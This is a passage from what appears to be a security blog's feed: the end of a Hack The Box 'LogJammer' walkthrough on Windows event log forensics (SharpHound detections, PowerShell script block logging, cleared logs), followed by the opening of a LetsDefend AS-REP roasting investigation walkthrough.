ingestor module for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0521/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BloodHound&lt;/strong&gt;&lt;/a&gt;, a well‑known Active Directory reconnaissance tool frequently used by red teams and attackers. Both files were bundled together in a single &lt;code&gt;.zip&lt;/code&gt; archive, and the detection explicitly references that tool — which answers &lt;strong&gt;Question 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;79d083010d05247f88ad3e9920abc8f8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;800&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/79d083010d05247f88ad3e9920abc8f8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying SharpHound activity through the Windows Defender Logs&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Questions 9&lt;/strong&gt; and &lt;strong&gt;10&lt;/strong&gt;, we can check either of the &lt;code&gt;1117&lt;/code&gt; events. These entries provide:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;strong&gt;full path&lt;/strong&gt; where the malware files were located&lt;/li&gt;&#xA;&lt;li&gt;The &lt;strong&gt;action taken&lt;/strong&gt; by the antivirus engine&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;With this information, we can fully resolve all three questions!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d02c72b5366f4632853ca38e3ed3fccd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;376px&#34; data-flex-grow=&#34;156&#34; height=&#34;510&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/d02c72b5366f4632853ca38e3ed3fccd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-the-user-used-powershell-to-execute-commands-what-command-was-executed-by-theuser&#34;&gt;Question 11: The user used Powershell to execute commands. What command was executed by the user?&#xA;&lt;/h3&gt;&lt;p&gt;We’re nearing the end of this investigation, but we still have a few artifacts left to analyze. This time, we’ll pivot to the &lt;strong&gt;Powershell‑Operational.evtx&lt;/strong&gt; log. As before, load the log into &lt;em&gt;Event Log Explorer&lt;/em&gt; so we can filter the entries and focus only on events from the date of the attack.&lt;/p&gt;&#xA;&lt;p&gt;In the filter options, select the date checkbox and set both the &lt;em&gt;From&lt;/em&gt; and &lt;em&gt;To&lt;/em&gt; values to &lt;strong&gt;3/27/2023&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ca89e5d8c05cb0f9f661852c146fd74d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;316px&#34; data-flex-grow=&#34;132&#34; height=&#34;606&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/ca89e5d8c05cb0f9f661852c146fd74d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering the PowerShell log for the date of the attack&lt;/p&gt;&#xA;&lt;p&gt;Because this device has PowerShell script block logging enabled, we can home in on Event ID &lt;code&gt;4104&lt;/code&gt; to collect insights into what commands were executed. &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.5#viewing-the-powershell-event-log-entries-on-windows&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Event ID 4104&lt;/a&gt; records script block content, which often includes some handy forensic data like the full command line used in a PowerShell session. Check it out:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;73c01844f3501b9ef406138f74f7e560_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;513px&#34; data-flex-grow=&#34;213&#34; height=&#34;374&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/73c01844f3501b9ef406138f74f7e560_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the Script Block Contents&lt;/p&gt;&#xA;&lt;p&gt;The second event gives us the full command. In this case, &lt;em&gt;cyberjunkie&lt;/em&gt; executed a PowerShell command to determine the MD5 hash of the &lt;code&gt;Automation-HTB.ps1&lt;/code&gt; script we identified back in &lt;strong&gt;Question 6&lt;/strong&gt;. It’s not the most exciting example of an attacker command, but it’s still a great demonstration of how much forensic insight script block logging can provide.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f1b31bf5ce6d291fa8843b4f47f84df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1230px&#34; data-flex-grow=&#34;512&#34; height=&#34;156&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/8f1b31bf5ce6d291fa8843b4f47f84df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-12-we-suspect-the-user-deleted-some-event-logs-which-event-log-file-wascleared&#34;&gt;Question 12: We suspect the user deleted some event logs. Which Event log file was cleared?&#xA;&lt;/h3&gt;&lt;p&gt;And finally, we’ve made it to the end of our investigation. To answer &lt;strong&gt;Question 12&lt;/strong&gt;, we’re looking for signs that the attacker attempted to cover their tracks by deleting event logs. Tampering with logs is a classic indicator removal technique and maps directly to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Clear Windows Event Logs (T1070.001)&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There are two locations we need to check. The first is the &lt;code&gt;Security.evtx&lt;/code&gt; log. Here, we can filter for Event ID &lt;code&gt;1102&lt;/code&gt;, which corresponds to &lt;em&gt;“The audit log was cleared.”&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=1102&#34;  title=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=1102&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Windows Security Log Event ID 1102 - The audit log was cleared&lt;/strong&gt;&#xA;_1102: The audit log was cleared On this page Event 1102 is logged whenever the Security log is cleared, REGARDLESS of…_www.ultimatewindowssecurity.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=1102&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;82b497682972832f11e996fad79bf027_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1015px&#34; data-flex-grow=&#34;423&#34; height=&#34;189&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/82b497682972832f11e996fad79bf027_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Event ID 1102&lt;/p&gt;&#xA;&lt;p&gt;While this confirms that the &lt;em&gt;Security&lt;/em&gt; log was indeed cleared, this isn’t the answer we’re looking for. The question asks which Event Log file was cleared, and &lt;code&gt;1102&lt;/code&gt; only tells us the &lt;em&gt;Security&lt;/em&gt; log was wiped, but the challenge data suggests additional tampering.&lt;/p&gt;&#xA;&lt;p&gt;That brings us to the artifact we haven’t touched yet: the &lt;strong&gt;System.evtx&lt;/strong&gt; log.&lt;/p&gt;&#xA;&lt;p&gt;Load &lt;code&gt;System.evtx&lt;/code&gt; into &lt;em&gt;Event Log Explorer&lt;/em&gt; and filter for Event ID &lt;code&gt;104&lt;/code&gt;, which corresponds to &lt;em&gt;“&lt;/em&gt;[&lt;em&gt;Other log file cleared&lt;/em&gt;](&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection#appendix-e---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection#appendix-e---&lt;/a&gt;&#xA;annotated-baseline-subscription-event-query)&lt;em&gt;.”&lt;/em&gt; This event is generated when &lt;strong&gt;any&lt;/strong&gt; log except the Security log is cleared.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c13f763573a967e2ec35e0ab7b3dafbb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;758px&#34; data-flex-grow=&#34;316&#34; height=&#34;253&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/c13f763573a967e2ec35e0ab7b3dafbb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the cleared log file with Event ID 104&lt;/p&gt;&#xA;&lt;p&gt;Bingo. The top event from the day of the attack shows exactly what we need. Event ID &lt;code&gt;104&lt;/code&gt; reveals that the attacker cleared the &lt;strong&gt;Microsoft-Windows-Windows Firewall with Advanced Security/Firewall&lt;/strong&gt; log.&lt;/p&gt;&#xA;&lt;p&gt;With this final piece of the puzzle, we’ve wrapped up the investigation and uncovered an attempt by &lt;em&gt;cyberjunkie&lt;/em&gt; to cover his tracks by wiping the event logs. Nice work!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2394339c1bb924b48436ccf431485512_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1271px&#34; data-flex-grow=&#34;529&#34; height=&#34;151&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/2394339c1bb924b48436ccf431485512_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;8601c535ca974d220ed5d0bf6514cd0c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;307px&#34; data-flex-grow=&#34;128&#34; height=&#34;625&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/8601c535ca974d220ed5d0bf6514cd0c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt; for another fantastic challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was another awesome entry in the Intro to Blue Team track with a tight focus on &lt;strong&gt;Windows Event Log Analysis&lt;/strong&gt;, correlating activity across multiple logs, filtering specific event IDs, and piecing together the &lt;em&gt;cyberjunkie&lt;/em&gt; user’s actions step‑by‑step.&lt;/p&gt;&#xA;&lt;p&gt;As we moved through the investigation, we followed the attacker’s trail across authentication events, firewall tampering, audit policy changes, scheduled task creation, malware detections, script block execution, and even attempts at covering their tracks through log clearing. Each question built naturally into the next, creating a clear and logical narrative that mirrors real‑world DFIR work. It was a great reminder of how much visibility Windows logs provide — if we know where to look.&lt;/p&gt;&#xA;&lt;p&gt;I chose this week’s challenge to brush up on some Event IDs I don’t use every day, add a few new ones to my notebook (which I’ve added in the quick reference below), and sharpen my workflow using &lt;em&gt;Event Log Explorer&lt;/em&gt;. It’s always a cool experience to piece together an attack using only a handful of logging artifacts. It just goes to show how powerful proper log analysis can be when it comes to uncovering malicious activity. Great stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-logjammer-sherlock-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;quick-reference-event-ids-wecovered&#34;&gt;Quick Reference: Event IDs we covered&#xA;&lt;/h3&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;4624&lt;/code&gt; — &lt;strong&gt;Successful logon&lt;/strong&gt; (&lt;em&gt;Security.evtx&lt;/em&gt;). Use &lt;em&gt;New Logon\Account Name&lt;/em&gt; in &lt;em&gt;Event Log Explorer&lt;/em&gt; to pinpoint the user&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;2004&lt;/code&gt; — &lt;strong&gt;Windows Defender Firewall rule added&lt;/strong&gt; (&lt;em&gt;Windows Firewall‑Firewall.evtx&lt;/em&gt;). Includes rule name, direction, and modifying user SID&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;4719&lt;/code&gt; — &lt;strong&gt;System audit policy changed&lt;/strong&gt; (&lt;em&gt;Security.evtx&lt;/em&gt;). Look for &lt;em&gt;Subcategory&lt;/em&gt; and related GUIDs&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;4698&lt;/code&gt; — &lt;strong&gt;Scheduled task created&lt;/strong&gt; (&lt;em&gt;Security.evtx&lt;/em&gt;). Task XML reveals &lt;code&gt;&amp;lt;Command&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;Arguments&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1116&lt;/code&gt; — &lt;strong&gt;Malware detected&lt;/strong&gt; (&lt;em&gt;Windows Defender‑Operational.evtx&lt;/em&gt;). Threat name and often the container path&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1117&lt;/code&gt; — &lt;strong&gt;Malware action taken&lt;/strong&gt; (&lt;em&gt;Windows Defender‑Operational.evtx&lt;/em&gt;). Action such as &lt;em&gt;Quarantined&lt;/em&gt;, &lt;em&gt;Removed&lt;/em&gt;, or &lt;em&gt;Blocked&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;4104&lt;/code&gt; — &lt;strong&gt;PowerShell Script Block Logging&lt;/strong&gt; (&lt;em&gt;Powershell‑Operational.evtx&lt;/em&gt;). Captures script block contents and the full command line&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;1102&lt;/code&gt; — &lt;strong&gt;Security log cleared&lt;/strong&gt; (&lt;em&gt;Security.evtx&lt;/em&gt;). Indicates the audit log was wiped&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;104&lt;/code&gt; — &lt;strong&gt;Other Windows log cleared&lt;/strong&gt; (&lt;em&gt;System.evtx&lt;/em&gt;). Specifies the exact channel, e.g., &lt;em&gt;Microsoft‑Windows‑Windows Firewall with Advanced Security/Firewall&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/LogJammer&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/LogJammer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ultimate IT Security — Windows Security Log Events:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/default.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — about_Logging_Windows:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.5&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.5&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Tech Community — Windows Events, how to collect them in Sentinel and which way is preferred to detect Incidents:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://techcommunity.microsoft.com/blog/fasttrackforazureblog/windows-events-how-to-collect-them-in-sentinel-and-which-way-is-preferred-to-det/3997342&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://techcommunity.microsoft.com/blog/fasttrackforazureblog/windows-events-how-to-collect-them-in-sentinel-and-which-way-is-preferred-to-det/3997342&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Review event logs and error codes to troubleshoot issues with Microsoft Defender Antivirus:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Configure Windows Firewall logging:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/configure-logging?tabs=intune&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/security/operating-system-security/network-security/windows-firewall/configure-logging?tabs=intune&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — 4624(S): An account was successfully logged on:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Scheduled Task/Job: Scheduled Task (T1053.005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Scheduled Task/Job: Scheduled Task, Sub-technique T1053.005 — Enterprise | MITRE ATT&amp;amp;CK®&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — BloodHound (S0521):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0521/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0521/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Indicator Removal: Clear Windows Event Logs (T1070.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1070/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1070/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Use Windows Event Forwarding to help with intrusion detection:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/security/operating-system-security/device-management/use-windows-event-forwarding-to-assist-in-intrusion-detection&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — AS-REP Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/</link>
            <pubDate>Mon, 02 Feb 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — AS-REP Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--as-rep-challenge-walkthrough&#34;&gt;LetsDefend — AS-REP Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-domain-controller-logs-and-endpoint-artifacts-using-event-log-explorer-andpecmd&#34;&gt;Investigating Domain Controller Logs and Endpoint Artifacts Using Event Log Explorer and PECmd.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-asrep-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/as-rep-challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/as-rep-challenge&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/as-rep-challenge&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AS-REP&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;This challenge pairs nicely with two others in the series, and there&amp;rsquo;s some overlap in approach. If you like this topic, check out:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/&#34; &gt;&lt;strong&gt;LetsDefend - LDAP Enumeration Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/&#34; &gt;&lt;strong&gt;LetsDefend - Golden Ticket Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A network security team received alerts from a Domain Controller (DC) indicating that a user was making unusual requests for Kerberos tickets, which is not typical for their role. Given that this behavior aligns with potential reconnaissance or lateral movement within the network, the security team escalated the issue to a senior investigator. The investigator has been tasked with analyzing the provided DC and workstation logs to trace the attacker&amp;rsquo;s movements, determine the source of the anomaly, and understand how the attacker gained access and what actions they might have taken inside the network.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. We&amp;rsquo;ve got suspicious Kerberos ticket requests, alerts from the responding DC, and a set of artifacts from the user&amp;rsquo;s workstation. It&amp;rsquo;s up to us to shed light on what happened and why.&lt;/p&gt;&#xA;&lt;p&gt;From the DC&amp;rsquo;s &lt;em&gt;Windows Security Event Log&lt;/em&gt;, we&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt; to filter and correlate the attacker&amp;rsquo;s authentication activity. The goal is to determine what technique was used and confirm whether &lt;strong&gt;AS-REP roasting&lt;/strong&gt; is in play. Once we&amp;rsquo;ve wrapped the DC review, we&amp;rsquo;ll pivot to workstation artifacts, including the client security event logs and &lt;strong&gt;Windows Prefetch&lt;/strong&gt; files, to fully map out the attack.&lt;/p&gt;&#xA;&lt;p&gt;If this is all new to you, don&amp;rsquo;t worry. By the end, you&amp;rsquo;ll have a solid understanding and repeatable approach for spotting Active Directory attacks like &lt;em&gt;AS-REP roasting&lt;/em&gt; using just a domain controller&amp;rsquo;s security log — and then expanding the picture with endpoint artifacts. Time to go hunting for a needle in the haystack of logs — let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;as-rep-primer&#34;&gt;AS-REP Primer:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump too far into the investigation, let&amp;rsquo;s lay some groundwork and do a quick recap of what an &lt;strong&gt;AS-REP attack&lt;/strong&gt; is in the context of a domain controller. This will help us contextualize the investigation as we move through it.&lt;/p&gt;&#xA;&lt;p&gt;In an Active Directory environment, modern authentication is handled using &lt;strong&gt;Kerberos&lt;/strong&gt;. We don&amp;rsquo;t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to explore it more fully. The idea is that when a client in an Active Directory domain needs to access a resource or log in to a server, an authentication flow takes place using &lt;em&gt;Kerberos&lt;/em&gt;. Microsoft has clear visuals in its &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Learn&lt;/strong&gt;&lt;/a&gt; documentation for how that exchange works:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 